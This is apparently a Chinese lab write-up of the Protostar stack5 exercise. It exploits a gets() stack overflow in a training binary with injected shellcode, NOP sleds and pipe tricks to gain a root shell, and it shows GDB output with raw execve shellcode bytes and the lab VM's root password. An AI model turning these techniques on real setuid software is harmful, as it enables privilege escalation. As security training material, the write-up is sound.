1 概述
傳統棧溢出有這些特點:
沒有ASLR
沒有NX
題目來自https://exploit-exercises.com/protostar/stack5/
本來覺得很簡單的,還是糾結了半天。
Exploit-exercise-protostar-stack5的第一個坑就是setuid程序的core dump沒有打開。需要這樣操作:
su - root #password:godmode
echo 1 > /proc/sys/fs/suid_dumpable #設置生成core文件
第二個坑就是gets緩衝區溢出需要進行特別的處理,使用特定的shellcode(關閉並重新打開stdin)或者使用管道。
2 Exp1
思路:shellcode放入緩衝區中;
GDB調試獲取緩衝區地址爲:0xbffffc70
編寫代碼pwn1.py
注意:shellcode_addr = 0xbffffc70;
GDB調試發現最終執行了/bin/dash
$ python ~/pwn1.py > ~/pwn1.b $ gdb ./stack5 (gdb) r < ~/pwn1.b Starting program: /opt/protostar/bin/stack5 < ~/pwn1.b Executing new program: /bin/dash
Program exited normally. (gdb) q |
但是,不使用GDB時掛了
$ ulimit -c unlimited
$ ( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5
Illegal instruction (core dumped)
GDB調試發現緩衝區地址實際爲0xbffffc90:
注意:非GDB運行和GDB運行,緩衝區的地址會有變化;
(gdb) x/64bx 0xbffffc90 0xbffffc90: 0xaa 0x46 0x58 0x31 0xdb 0x31 0xc9 0xcd 0xbffffc98: 0x80 0x51 0x68 0x2f 0x2f 0x73 0x68 0x68 0xbffffca0: 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x51 0x53 0xbffffca8: 0x89 0xe1 0x6a 0x0b 0x58 0x99 0xcd 0x80 0xbffffcb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffcb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffcc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffffcc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 |
現在修改緩衝區地址,後執行
shellcode_addr = 0xbffffc90;
$ ( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5 whoami root exit |
注意:這裏使用的”()”會生成一個子shell;
子shell中執行兩條命令。
第一條命令將payload輸出到標準輸出,通過管道傳輸給stack5;
第二個命令cat從標準輸入中讀取數據輸出到標準輸出,也會通過管道傳輸給stack5;
使用<讀取文件時結果是這樣的:
$ python ~/pwn1.py > ~/pwn1.b $ /opt/protostar/bin/stack5 < ~/pwn1.b $ echo $? 0 |
程序拿到shell後,由於標準輸入來自文件,已經讀完了,因此直接退出了。
可以用strace觀察到。
注意:
l Shellcode放到了緩衝區中,但是緩衝區的位置不是確定的,需要生成core後GDB調試獲取;
l 緩衝區的位置可能在系統重啓後不一樣;
l 可以使用NOP Slot來消除這種不確定性。
l shellcode本身需要用到棧,如果緩衝區很小,則會shellcode的入棧會破壞shellcode代碼。
3 EXP2
思路:
Shellcode放在返回地址後面,前面跟上NOP Slot;這可以消除緩衝區位置的不確定性。
結果
$ ( python ~/pwn2.py ; cat ) | /opt/protostar/bin/stack5 whoami root exit |
4 Gets緩衝區溢出
對於gets緩衝區溢出,使用一般的shellcode搞不定:stdin應該被關閉和重新打開。
還有一種方式是使用管道,如下:
( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5
現在使用新的shellcode,來自https://www.exploit-db.com/exploits/13357/。
pwn3.py
可以使用<進行重定向了:
$ python ~/pwn3.py > ~/pwn3.b $ /opt/protostar/bin/stack5 < ~/pwn3.b # whoami root # exit |
5 結論
l GDB環境與非GDB環境下運行程序時,棧緩衝區的位置不一樣;非GDB環境下的地址大於GDB環境下的地址;
l 可以使用NOP Slot來消除棧緩衝區位置的不確定性;
l gets緩衝區溢出需要進行特別的處理;
使用特定的shellcode(關閉並重新打開stdin)或者使用管道;
使用管道的示例:
( python ~/pwn1.py ; cat ) | /opt/protostar/bin/stack5
6 參考文章
1. https://exploit-exercises.com/protostar/stack5/
2. http://sh3llc0d3r.com/protostar-exploit-exercises-stack5/